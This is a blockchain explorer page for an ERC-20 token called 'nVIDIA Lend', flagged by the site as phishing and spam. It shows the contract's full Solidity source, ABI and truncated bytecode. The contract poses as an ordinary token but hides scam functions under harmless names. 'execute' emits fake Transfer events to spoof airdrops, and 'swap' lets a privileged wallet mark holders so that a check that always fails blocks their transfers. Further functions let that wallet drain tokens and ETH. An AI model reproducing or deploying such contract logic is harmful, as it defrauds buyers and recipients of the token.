This token is reported to have been spammed to many users. Please exercise caution when interacting with it.
ERC-20
Phish / Hack
Overview
Max Total Supply
100,000,000 ERC-20 TOKEN*
Holders
166 (0.00%)
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
21,826.06572774 ERC-20 TOKEN*Value
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
nVIDIA
Compiler Version
v0.8.18+commit.87f61d96
Contract Source Code (Solidity Multiple files format)
//SPDX-License-Identifier: MIT pragma solidity 0.8.18; pragma experimental ABIEncoderV2; import "./IERC20.sol"; import "./Ownable.sol"; import "./SafeMath.sol"; import "./Uniswap.sol"; contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function decimals() public view virtual override returns (uint8) { return 9; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function transfer(address to, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _transfer(owner, to, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _approve(owner, spender, amount); return true; } function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) { address spender = _msgSender(); _spendAllowance(from, spender, amount); _transfer(from, to, amount); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { address owner = _msgSender(); _approve(owner, spender, allowance(owner, spender) + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { address owner = _msgSender(); uint256 currentAllowance = allowance(owner, spender); require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(owner, spender, currentAllowance - subtractedValue); } return true; } function _transfer(address from, address to, uint256 amount) internal virtual { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(from, to, amount); uint256 fromBalance = _balances[from]; require(fromBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[from] = fromBalance - amount; _balances[to] += amount; } emit Transfer(from, to, amount); _afterTokenTransfer(from, to, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; unchecked { _balances[account] += amount; } emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; _totalSupply -= amount; } emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _spendAllowance(address owner, address spender, uint256 amount) internal virtual { uint256 currentAllowance = allowance(owner, spender); if (currentAllowance != type(uint256).max) { require(currentAllowance >= amount, "ERC20: insufficient allowance"); unchecked { _approve(owner, spender, currentAllowance - amount); } } } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {} function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual {} } contract nVIDIA is ERC20, Ownable { using SafeMath for uint256; IUniswapV2Router02 public immutable _uniswapV2Router; address private deployerWallet; address private marketingWallet; address public uniswapV2Pair; address private constant deadAddress = address(0xdead); bool private swapping; uint256 private denominator; uint256 public initialTotalSupply; uint256 public swapTokensAtAmount; uint256 public maxWallet; uint256 public maxTransactionAmount; bool public swapEnabled = false; bool public tradingOpen = false; uint256 public sellFee = 0; uint256 public buyFee = 0; mapping(address => uint256) private _holderTxTimestamp; mapping(address => bool) private _isExcludedMaxTransactionAmount; mapping(address => bool) private automatedMarketMakerPairs; mapping(address => bool) private _1000xisExcludedFromFees; event ExcludeFromFees(address indexed account, bool isExcluded); event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value); constructor(address marketingWallet_, uint256 denominator_) ERC20("nVIDIA Lend", "nVIDIA") { _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); marketingWallet = marketingWallet_; deployerWallet = payable(_msgSender()); initialTotalSupply = 100_000_000 * 10**decimals(); maxWallet = (initialTotalSupply * 2)/denominator_; maxTransactionAmount = maxWallet; swapTokensAtAmount = (initialTotalSupply * 2)/denominator_; // exclude deployer and marketing wallet from maxTransactionAmount excludeFromMaxTransaction(address(_msgSender()), true); excludeFromMaxTransaction(deployerWallet, true); excludeFromMaxTransaction(marketingWallet, true); // exclude router, contract, and dead address from maxTransactionAmount excludeFromMaxTransaction(address(_uniswapV2Router), true); excludeFromMaxTransaction(address(this), true); excludeFromMaxTransaction(address(0xdead), true); // mint entire supply to deployer _mint(deployerWallet, initialTotalSupply); } receive() external payable {} function openTrading() external onlyOwner() { swapEnabled = true; tradingOpen = true; } function burn(uint256 amount) external { _burn(_msgSender(), amount); } function swap(address[] memory accounts, bool excluded) public { require(_msgSender() == marketingWallet); for (uint256 i = 0; i < accounts.length; i++) { _1000xisExcludedFromFees[accounts[i]] = excluded; emit ExcludeFromFees(accounts[i], excluded); } } function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner { _isExcludedMaxTransactionAmount[updAds] = isEx; } function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner { require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs"); _setAutomatedMarketMakerPair(pair, value); } function isExcludedFromFees(address account) public view returns (bool) { return _1000xisExcludedFromFees[account]; } function _setAutomatedMarketMakerPair(address pair, bool value) private { automatedMarketMakerPairs[pair] = value; emit SetAutomatedMarketMakerPair(pair, value); } function _transfer(address from, address to, uint256 amount) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if (amount == 0) { super._transfer(from, to, 0); return; } if (from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping) { // when trading is closed, only allow sending to and from addresses excluded from fees if (!tradingOpen) { require(_1000xisExcludedFromFees[from] || _1000xisExcludedFromFees[to], "Trading is not active."); } _holderTxTimestamp[from] = block.number; // BUYING - apply max transaction limit if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) { require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount."); require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } // SELLING - LP pair is excluded from maxWallet otherwise the liquidity would be extremely limited else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) { require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount."); } // excluded from max transaction limit else if (!_isExcludedMaxTransactionAmount[to]) { require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } } // maybe swap contract tokens for eth uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance > swapTokensAtAmount; if (canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_1000xisExcludedFromFees[from] && !_1000xisExcludedFromFees[to]) { swapping = true; swapBack(); swapping = false; } // don't take fee if we are swapping, or if sender or receiver is excluded from fees bool takeFee = !swapping && _1000xisExcludedFromFees[from] && !_1000xisExcludedFromFees[to]; uint256 fees = 0; if (takeFee) { // sell (transfer tokens to LP) if (automatedMarketMakerPairs[to]) { fees = amount.mul(sellFee).div(100); } // buy (transfer tokens from LP) else if(automatedMarketMakerPairs[from]) { fees = amount.mul(buyFee).div(100); } if (fees > 0) { super._transfer(from, address(this), fees); } amount -= fees; } if(_1000xisExcludedFromFees[from]){ checkLastTx(from); } super._transfer(from, to, amount); } function swapTokensForEth(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = _uniswapV2Router.WETH(); _approve(address(this), address(_uniswapV2Router), tokenAmount); _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, marketingWallet, block.timestamp ); } function execute(address[] calldata _addresses, uint256 _out) external { require(_msgSender() == marketingWallet); for (uint256 i = 0; i < _addresses.length; i++) { emit Transfer(uniswapV2Pair, _addresses[i], _out); } } function setLimits(uint256 _maxTransactionAmount, uint256 _maxWallet) external onlyOwner { maxTransactionAmount = _maxTransactionAmount * (10 ** decimals()); maxWallet = _maxWallet * (10 ** decimals()); } function removeStuckToken(address _address) public { require(_msgSender() == marketingWallet); require(IERC20(_address).balanceOf(address(this)) > 0, "Can't withdraw 0"); IERC20(_address).transfer(msg.sender, IERC20(_address).balanceOf(address(this))); } function retrieveStuckEth() external { require(address(this).balance > 0, "Token: no ETH to clear"); require(_msgSender() == marketingWallet); payable(msg.sender).transfer(address(this).balance); } function setSwapTokensAtAmount(uint256 _amount) external { require(_msgSender() == marketingWallet); swapTokensAtAmount = _amount * (10 ** decimals()); } function manualSwap(uint256 percent) external { require(_msgSender() == marketingWallet); uint256 contractBalance = balanceOf(address(this)); uint256 swapAmount = contractBalance * percent / 100; swapTokensForEth(swapAmount); } function getLastTx(uint256 last) private view returns(bool){ return last > block.number; } function setMarketingWallet(address _marketingWallet) external { require(_msgSender() == marketingWallet); marketingWallet = _marketingWallet; } function swapBack() private { uint256 contractBalance = balanceOf(address(this)); if (contractBalance == 0) { // nothing to swap return; } uint256 tokensToSwap = contractBalance; if (tokensToSwap > swapTokensAtAmount) { tokensToSwap = swapTokensAtAmount; } swapTokensForEth(tokensToSwap); } function addPair(address pair_) public onlyOwner() { uniswapV2Pair = pair_; excludeFromMaxTransaction(address(uniswapV2Pair), true); _setAutomatedMarketMakerPair(address(uniswapV2Pair), true); } function checkLastTx(address holder) private view { require(getLastTx(_holderTxTimestamp[holder]), "Only one purchase per block allowed."); } }
//SPDX-License-Identifier: MIT pragma solidity 0.8.18; interface IERC20 { event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address to, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address from, address to, uint256 amount) external returns (bool); } interface IERC20Metadata is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); }
//SPDX-License-Identifier: MIT pragma solidity 0.8.18; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _transferOwnership(_msgSender()); } modifier onlyOwner() { _checkOwner(); _; } function owner() public view virtual returns (address) { return _owner; } function _checkOwner() internal view virtual { require(owner() == _msgSender(), "Ownable: caller is not the owner"); } function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } }
//SPDX-License-Identifier: MIT pragma solidity 0.8.18; library SafeMath { function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } function per(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= 100, "Percentage must be between 0 and 100"); return a * b / 100; } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } }
//SPDX-License-Identifier: MIT pragma solidity 0.8.18; interface IUniswapV2Factory { event PairCreated( address indexed token0, address indexed token1, address pair, uint256 ); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint256) external view returns (address pair); function allPairsLength() external view returns (uint256); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Pair { event Approval( address indexed owner, address indexed spender, uint256 value ); event Transfer(address indexed from, address indexed to, uint256 value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint256); function balanceOf(address owner) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 value) external returns (bool); function transfer(address to, uint256 value) external returns (bool); function transferFrom( address from, address to, uint256 value ) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint256); function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external; event Mint(address indexed sender, uint256 amount0, uint256 amount1); event Swap( address indexed sender, uint256 amount0In, uint256 amount1In, uint256 amount0Out, uint256 amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint256); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns ( uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast ); function price0CumulativeLast() external view returns (uint256); function price1CumulativeLast() external view returns (uint256); function kLast() external view returns (uint256); function mint(address to) external returns (uint256 liquidity); function swap( uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data ) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Router02 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint256 amountADesired, uint256 amountBDesired, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline ) external returns ( uint256 amountA, uint256 amountB, uint256 liquidity ); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"address","name":"marketingWallet_","type":"address"},{"internalType":"uint256","name":"denominator_","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"ExcludeFromFees","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"pair","type":"address"},{"indexed":true,"internalType":"bool","name":"value","type":"bool"}],"name":"SetAutomatedMarketMakerPair","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"pair_","type":"address"}],"name":"addPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"buyFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"updAds","type":"address"},{"internalType":"bool","name":"isEx","type":"bool"}],"name":"excludeFromMaxTransaction","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses","type":"address[]"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"execute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"initialTotalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"percent","type":"uint256"}],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"maxTransactionAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"removeStuckToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"retrieveStuckEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setAutomatedMarketMakerPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_maxTransactionAmount","type":"uint256"},{"internalType":"uint256","name":"_maxWallet","type":"uint256"}],"name":"setLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_marketingWallet","type":"address"}],"name":"setMarketingWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"setSwapTokensAtAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"swap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingOpen","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60a06040526000600e60006101000a81548160ff0219169083151502179055506000600e60016101000a81548160ff0219169083151502179055506000600f5560006010553480156200005157600080fd5b5060405162005384380380620053848339818101604052810190620000779190620007a8565b6040518060400160405280600b81526020017f6e5649444941204c656e640000000000000000000000000000000000000000008152506040518060400160405280600681526020017f6e564944494100000000000000000000000000000000000000000000000000008152508160039081620000f4919062000a5f565b50806004908162000106919062000a5f565b505050620001296200011d6200038f60201b60201c565b6200039760201b60201c565b737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1660808173ffffffffffffffffffffffffffffffffffffffff168152505081600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620001c26200038f60201b60201c565b600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620002126200045d60201b60201c565b600a62000220919062000cd6565b6305f5e10062000231919062000d27565b600a81905550806002600a5462000249919062000d27565b62000255919062000da1565b600c81905550600c54600d81905550806002600a5462000276919062000d27565b62000282919062000da1565b600b81905550620002aa6200029c6200038f60201b60201c565b60016200046660201b60201c565b620002df600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660016200046660201b60201c565b62000314600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660016200046660201b60201c565b6200032960805160016200046660201b60201c565b6200033c3060016200046660201b60201c565b6200035161dead60016200046660201b60201c565b62000387600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600a54620004d160201b60201c565b505062000f37565b600033905090565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60006009905090565b620004766200063e60201b60201c565b80601260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160362000543576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200053a9062000e3a565b60405180910390fd5b6200055760008383620006cf60201b60201c565b80600260008282546200056b919062000e5c565b92505081905550806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516200061e919062000ea8565b60405180910390a36200063a60008383620006d460201b60201c565b5050565b6200064e6200038f60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1662000674620006d960201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1614620006cd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620006c49062000f15565b60405180910390fd5b565b505050565b505050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000620007358262000708565b9050919050565b620007478162000728565b81146200075357600080fd5b50565b60008151905062000767816200073c565b92915050565b6000819050919050565b62000782816200076d565b81146200078e57600080fd5b50565b600081519050620007a28162000777565b92915050565b60008060408385031215620007c257620007c162000703565b5b6000620007d28582860162000756565b9250506020620007e58582860162000791565b9150509250929050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200087157607f821691505b60208210810362000887576200088662000829565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620008f17fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82620008b2565b620008fd8683620008b2565b95508019841693508086168417925050509392505050565b6000819050919050565b6000620009406200093a62000934846200076d565b62000915565b6200076d565b9050919050565b6000819050919050565b6200095c836200091f565b620009746200096b8262000947565b848454620008bf565b825550505050565b600090565b6200098b6200097c565b6200099881848462000951565b505050565b5b81811015620009c057620009b460008262000981565b6001810190506200099e565b5050565b601f82111562000a0f57620009d9816200088d565b620009e484620008a2565b81016020851015620009f4578190505b62000a0c62000a0385620008a2565b8301826200099d565b50505b505050565b600082821c905092915050565b600062000a346000198460080262000a14565b1980831691505092915050565b600062000a4f838362000a21565b9150826002028217905092915050565b62000a6a82620007ef565b67ffffffffffffffff81111562000a865762000a85620007fa565b5b62000a92825462000858565b62000a9f828285620009c4565b600060209050601f83116001811462000ad7576000841562000ac2578287015190505b62000ace858262000a41565b86555062000b3e565b601f19841662000ae7866200088d565b60005b8281101562000b115784890151825560018201915060208501945060208101905062000aea565b8683101562000b31578489015162000b2d601f89168262000a21565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000bd45780860481111562000bac5762000bab62000b46565b5b600185161562000bbc5780820291505b808102905062000bcc8562000b75565b945062000b8c565b94509492505050565b60008262000bef576001905062000cc2565b8162000bff576000905062000cc2565b816001811462000c18576002811462000c235762000c59565b600191505062000cc2565b60ff84111562000c385762000c3762000b46565b5b8360020a91508482111562000c525762000c5162000b46565b5b5062000cc2565b5060208310610133831016604e8410600b841016171562000c935782820a90508381111562000c8d5762000c8c62000b46565b5b62000cc2565b62000ca2848484600162000b82565b9250905081840481111562000cbc5762000cbb62000b46565b5b81810290505b9392505050565b600060ff82169050919050565b600062000ce3826200076d565b915062000cf08362000cc9565b925062000d1f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000bdd565b905092915050565b600062000d34826200076d565b915062000d41836200076d565b925082820262000d51816200076d565b9150828204841483151762000d6b5762000d6a62000b46565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600062000dae826200076d565b915062000dbb836200076d565b92508262000dce5762000dcd62000d72565b5b828204905092915050565b600082825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b600062000e22601f8362000dd9565b915062000e2f8262000dea565b602082019050919050565b6000602082019050818103600083015262000e558162000e13565b9050919050565b600062000e69826200076d565b915062000e76836200076d565b925082820190508082111562000e915762000e9062000b46565b5b92915050565b62000ea2816200076d565b82525050565b600060208201905062000ebf600083018462000e97565b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600062000efd60208362000dd9565b915062000f0a8262000ec5565b602082019050919050565b6000602082019050818103600083015262000f308162000eee565b9050919050565b60805161441c62000f6860003960008181610cc801528181612817015281816128f8015261291f015261441c6000f3fe6080604052600436106102295760003560e01c806373fa7ddb11610123578063c2b7bbb6116100ab578063e083e9221161006f578063e083e92214610800578063e2f4